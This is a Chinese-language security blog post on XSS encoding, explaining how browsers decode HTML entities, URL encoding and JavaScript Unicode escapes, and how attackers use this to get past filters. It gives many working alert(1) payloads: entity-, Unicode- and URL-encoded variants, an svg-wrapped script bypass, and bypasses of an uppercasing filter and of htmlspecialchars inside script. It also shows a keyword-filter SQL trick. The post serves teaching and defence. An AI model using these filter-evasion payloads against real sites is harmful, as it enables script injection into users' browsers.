XSS编码剖析
John_Frod Lv4

XSS编码剖析


背景

在不了解HTML、JavaScript在网页中编码解码的原理之前,我就有一个疑惑,为什么有时候一些关键字被过滤掉了之后可以使用编码进行绕过,编码之后的内容仍然可以在页面中解析出来;可是反过来后端防御攻击的手段又是将输入的内容进行编码转义,如PHP中的htmlspecialchars()函数,使得其中的内容变为一般的字符输出,而不会在页面中解析出来。这两者有关联吗,其中的原因又是什么?

浏览器响应过程

来看看浏览器处理一次完整的HTTP请求,会涉及到的编码解码问题。

  1. 当浏览器发送HTTP请求时,会先对特殊字符进行URL编码后,发送给服务器。
  2. 服务器收到客户端发送来的HTTP请求,会对其进行URL解码后,再进行处理,处理完成后将结果返回给浏览器。
  3. 浏览器接收到HTML文件后,最先是触发HTML解析器来解析HTML,将标签转化为内容树中的DOM节点,此时在识别标签的时候,HTML解析器是不能识别哪些被HTML实体编码了,只有当整个DOM树建立起来后,才能对每个节点的内容进行识别,如果有HTML实体编码,再对其进行解码。
  4. 在HTML解析器过程中,遇到JS标签诸如<script>会调用JS解释器对JS代码进行解析,而JS DOM API会对DOM结构进行更改,DOM树节点的更改也会反过来触发HTML解释器。
  5. CSS解释器也会在HTML解释器过程中参与进来,但它不会干扰到DOM树,它会结合<style>标签和CSS文件以及HTML指令来构建render tree。

常用编码

URL编码

URL编码是为了允许URL中存在汉字这样的非标准字符,本质是把一个字符转为%加上UTF-8编码对应的16进制数字。所以又称之为Percent-encoding。

在服务端接收到请求时,会自动对请求进行一次URL解码。

这里值得一提的是,URL编码作用并不在于绕过后台检测,但是当我们是以GET方式提交数据时,如果数据中存在&#+这样的特殊字符,就需要进行URL编码,才能够保障正常解析,因为这些字符在URL中都有特殊的功能,不进行编码就会默认为是特殊的功能。

example:

服务器后端对and这个关键字进行了拦截,这时候我们想使用&&来代替,如果我们在URL中输入

1
?id=1 && 1=2

这时候后端收到的并不是id=1 && 1=2,而是id=11=2,这是由于&的存在导致后端认为我们输入的2个参数而不是一个,正确的输入为:

1
?id=1 %26%26 1=2

通过URL编码让后端认为我们输入的&并不是想要输入多个参数,而是原来就是&的字符,就好像是我们在字符串中想要输出\的时候,我们要使用\\进行转义一样。

HTML编码

当浏览器接收到服务端发送来的二进制数据后,首先会对其进行HTML解码,呈现出来的就是我们看到的源代码。具体的解码方式依具体情况而定,所以我们需要在页面中指定编码,防止浏览器按照错误的方式解码,造成乱码。

但是在HTML中有些字符是和关键词冲突的,比如<>&,解码之后,浏览器会误认为它们是标签,怎么解决呢?

为了正确地显示预留字符,我们需要在HTML源代码中使用字符实体,比如我们常见的空格&nbsp;,字符实体以&开头+预先定义的实体名称表示,但不是所有的字符都有实体名称,但是它们都有实体编号,也可以用&#开头+实体编号+分号表示。比如:

显示结果 描述 实体名称 实体编号
< 小于号 &lt; &#60;
> 大于号 &gt; &#62;

浏览器对HTML解码之后就开始解析HTML,将标签转化为内容树中的DOM节点,此时识别标签的时候,HTML解析器是无法识别那些被实体编码的内容的,只有建立起DOM树,才能对每个节点的内容进行识别,如果出现实体编码,则会进行实体解码,只要是DOM节点里属性的值,都可以被HTML编码和解析

所以在PHP中,使用htmlspecialchars()函数把预定义的字符转换为HTML实体,只有等到DOM树建立起来后,才会解析HTML实体,起到了XSS防护作用。因此,具体来说,我们对HTML标签的结构进行实体编码就会导致他在浏览器解析的时候无法认为这是一个标签,而是一个串,但是当标签建立之后,里面的内容是能够被HTML解析出来的。

example:

  • 这是无法被解析出来,因为编码破坏了标签本身的结构
1
2
3
<img src&#x3d;"http://www.example.com">
<img s&#x72;c="http://www.example.com">
<s&#x63;ript>alert(1)</script>
  • 这是能够被解析出来,因为结构没有被破坏,里面的内容可以被解析
1
2
<img src="ht&#x74;p://www.example.com">
<img src="" onerror=aler&#x74;(1)>

JavaScript解码(Unicode)

当HTML解析产生DOM节点后,会根据DOM节点来做接下来的解析工作,比如在处理诸如<script> <style>这样的标签,解析器会自动切换到JS解析模式,而srchref 后边加入的JavaScript伪URL,也会进入JS 的解析模式。而进入该解析模式的时候,该DOM节点已经建立起来了,但是HTML解释器还并未进行HTML解码。当触发JS解释器后,JS会先对内容进行解析,如果有JS编码就会进行解码操作,接下来是就是执行里面的JS语句。所以此时执行该JS语言前的解码顺序为JS解码–>HTML解码。

在一个页面中,可以出发JS 解析器的方式有这么几种:

  • 直接嵌入<script> 代码块。
  • 通过<script src=… > 加载代码。
  • 各种HTML CSS 参数支持JavaScript:URL 触发调用。
  • CSS expression(…) 语法和某些浏览器的XBL 绑定。
  • 事件处理器(Event handlers),比如 onload, onerror, onclick等等。
  • 定时器,Timer(setTimeout, setInterval)
  • eval(…) 调用。

example:

1
<a href="javascript:alert('<\u4e00>')">test</a>

这里的herf的URL经过URL解码之后发现,使用了JavaScript伪协议,所以JS会对内容进行解析,里边有一个转义字符\u4e00,前导的 u 表示他是一个unicode 字符,根据后边的数字,解析为,于是在完成JS的解析之后变成了:

1
<a href="javascript:alert('<一>')">test</a>

仍以上一段代码为例,假如我们编码的位置不是括号里,而是在alert上,JS是会对它进行解码的:

1
<a href="javascript:\u0061lert('<一>')">test</a>

但是,不能对协议类型进行任何编码,因为这样会导致URL认不出来是JavaScript伪协议,从而不会进行JS解析!!

而另一方面,如果想用这种方式来替换掉圆括号,或者引号,会判定为失败,因为对于JavaScript,转义编码应当只出现在标示符部分,不能用于对语法有真正影响的符号,也就是括号,或者是引号。同时,上边这种直接在字符串外进行编码的方式,只有 Unicode 编码方式被支持,其他编码方式则不行

XSS编码实践

我们从几个简单的例子回顾加深一下浏览器解析代码的过程:

案例一

1
<a href="javascript:alert('xss')">test</a>

当服务器返回一个如上的代码时,首先是HTML解析器开始工作,检查语句是结构完整的<a>标签语法,于是就先建立了一个DOM节点;然后对href里面的内容进行HTML解码;由于href属性的值是URL,因此会对herf属性的值进行URL解码;接着由于URL的协议类型是JavaScript伪协议,然后就会进行JS解码,最后执行语句。

整个解析顺序为3个环节:HTML解码 –>URL解码 –>JS解码

我们可以对其做以下变形,下列情况都可以成功弹框:

  • javascript:alert('xss')转化为HTML实体,因为解析HTML之后,建立起<a>DOM节点,然后对DOM节点里面的HTML实体进行解析。
1
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">test</a>

注意:这里还要多一个步骤进行URL编码,因为里面的&#都有特殊功能

因此真正提交的URL应该是这样的

1
<a href="%26%23x6a%3B%26%23x61%3B%26%23x76%3B%26%23x61%3B%26%23x73%3B%26%23x63%3B%26%23x72%3B%26%23x69%3B%26%23x70%3B%26%23x74%3B%26%23x3a%3B%26%23x61%3B%26%23x6c%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B">test</a>
  • alert(1);进行URL编码,因为在HTML解析之后会对href的值进行URL解码,不过实际上这里没有需要URL转义的内容,因此还是一样
1
<a href="javascript:alert('xss')">test</a>
  • alert做JS编码,因为在URL解码之后,发现URL资源类型为JavaScript,因此会调用JS解析器来对JS代码进行解析
1
<a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>
  • 混合编码

由于浏览器解码的过程是:HTML解码 –>URL解码 –>JS解码

因此我们可以反过来编码:JS解码 –>URL解码 –>HTML解码

1
2
3
4
5
6
7
8
1. 源代码
<a href="javascript:alert(1)">test</a>
2. 对alert进行JS编码(Unicode)
<a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>
3. 对href标签中的除了协议名字(javascript:)以外的部分进行URL编码
<a href="javascript:%5Cu0061%5Cu006c%5Cu0065%5Cu0072%5Cu0074(1)">
4. 对href的值进行HTML编码(再加上要URL编码)
<a href="%26%23x6a%3B%26%23x61%3B%26%23x76%3B%26%23x61%3B%26%23x73%3B%26%23x63%3B%26%23x72%3B%26%23x69%3B%26%23x70%3B%26%23x74%3B%26%23x3a%3B%26%23x25%3B%26%23x35%3B%26%23x43%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x31%3B%26%23x25%3B%26%23x35%3B%26%23x43%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x63%3B%26%23x25%3B%26%23x35%3B%26%23x43%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x35%3B%26%23x25%3B%26%23x35%3B%26%23x43%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x37%3B%26%23x32%3B%26%23x25%3B%26%23x35%3B%26%23x43%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x37%3B%26%23x34%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B">test</a>

案例二

1
<img src=x onerror="alert(1)">

这个例子和案例一类似,只不过由于onerror是事件,本来就属于JS操作,因此只是比案例一少了个URL解码,下列情况都可以成功弹框:

  • alert(1)进行HTML编码(再加上URL编码)
1
<img src=x onerror="%26%23x61%3B%26%23x6c%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B">
  • alert进行JS编码(Unicode)
1
<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">
  • 混合编码,先进行JS编码然后再HTML编码(再加上URL编码)
1
2
3
4
5
6
1. 源代码
<img src=x onerror="alert(1)">
2. 对alert进行JS编码(Unicode)
<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">
3. 对onerror的值进行HTML编码(再加上URL编码)
<img src=x onerror="%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x31%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x63%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x35%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x37%3B%26%23x32%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x37%3B%26%23x34%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B">

案例三

1
<script>alert(1)</script>

这个例子就比较特别了,当服务器返回一个如上的代码时,首先是HTML解析器开始工作,检查语句是结构完整的<script>标签,于是就先建立了一个DOM节点;由于是<script>标签,所以这里并不会第一时间进行HTML解码,而是先进行JS解码,JS解码之后若有必要才进行HTML解码,(这里没有必要,因为没有检查到完整得HTML标签结构),最后执行语句。

我们可以对其做以下变形,下列情况都可以成功弹框:

  • alert进行JS编码
1
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
  • 使用<svg>标签放在<script>标签前面,那么就可以对<script>标签里面的内容进行Html编码,这是因为在解析到<svg>标签时,浏览器就开始使用一套新的标准开始解析后面的内容,直到碰到闭合标签</svg>。而在这一套新的标准遵循XML解析规则,在XML中实体编码会自动转义,重新来一遍标签开启状态,此时就会执行xss了。(当然了如果你要使用GET方法传参的话最后还要加上URL编码)
1
<svg><script>%26%23x61%3B%26%23x6c%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B</script>
  • 混合编码,先进行JS编码,再利用<svg>标签进行HTML编码
1
2
3
4
5
6
1. 源代码
<script>alert(1)</script>
2. 对alert进行JS编码
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
3. 利用 svg 标签进行HTML编码
<svg><script>%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x31%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x63%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x35%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x37%3B%26%23x32%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x37%3B%26%23x34%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B</script>

XSS编码绕过原理

看完上面的实践内容,估计都清楚浏览器解析代码的过程了吧,这里看2个XSS编码绕过的案例。

利用HTML编码绕过

  • 服务器后端关键代码
1
2
3
4
function render (input){
input = input.toUpperCase()
return `<h1>${input}</h1>`
}

这里后端把输入的参数进行了大写处理,由于JavaScript代码对大小写敏感,也就是说ALERT()是不能触发弹窗的,这里就是利用HTML对大小也不敏感,所以HTML编码绕过

1
<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

浏览器解析过程:首先是HTML解析器开始工作,检查语句是结构完整的<img>标签语法,于是就先建立了一个DOM节点;然后去onerror事件的值进行HTML解码;接着交给JS解析器进行JS解码,最后执行语句。

利用JS编码绕过

  • 服务器后端关键代码
1
2
3
4
5
6
7
8
9
10
$value = $_GET['name'];
$html = '<pre>';
$html .= "Your name is:
<div id='a'></div>
<script>
document.getElementById('a').innerHTML="."'".htmlspecialchars($value)."'".";
</script>
";
$html .= '</pre>';
echo $html;

这里后端使用了htmlspecialchars()函数对输入的参数进行了HTML实体编码,目的是想让我们输入的标签变成普通的文本字符串,一般情况下是无法绕过的,但是这里后端把参数放在了<script>标签里面,并且操作DOM修改了外部的DOM节点,这就让我们有了可乘之机。可以使用JS编码进行绕过

1
2
3
<img src=x onerror=alert(1)> #源码

\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0078\u0020\u006f\u006e\u0065\u0072\u0072\u006f\u0072\u003d\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u003e #JS编码后

这里浏览器接收到的数据是

1
<script>\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0078\u0020\u006f\u006e\u0065\u0072\u0072\u006f\u0072\u003d\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u003e</script>

浏览器解析过程:首先是HTML解析器开始工作,检查语句是结构完整的<script>标签语法,于是就先建立了一个DOM节点;由于是<script>标签,所以会先进行JS解码,解码之后就还原出了原来的<img>标签,浏览器发现是完整机构的HTML标签,于是就再创建DOM节点,然后对onerror事件的值进行HTML解码,最后执行onerror里面的JavaScript语句。

参考资料

XSS编码与绕过

探索XSS利用编码绕过的原理

xss编码绕过原理以及从中学习到的几个例子

  • Post title:XSS编码剖析
  • Post author:John_Frod
  • Create time:2021-03-13 10:52:40
  • Post link:https://keep.xpoet.cn/2021/03/13/XSS编码剖析/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.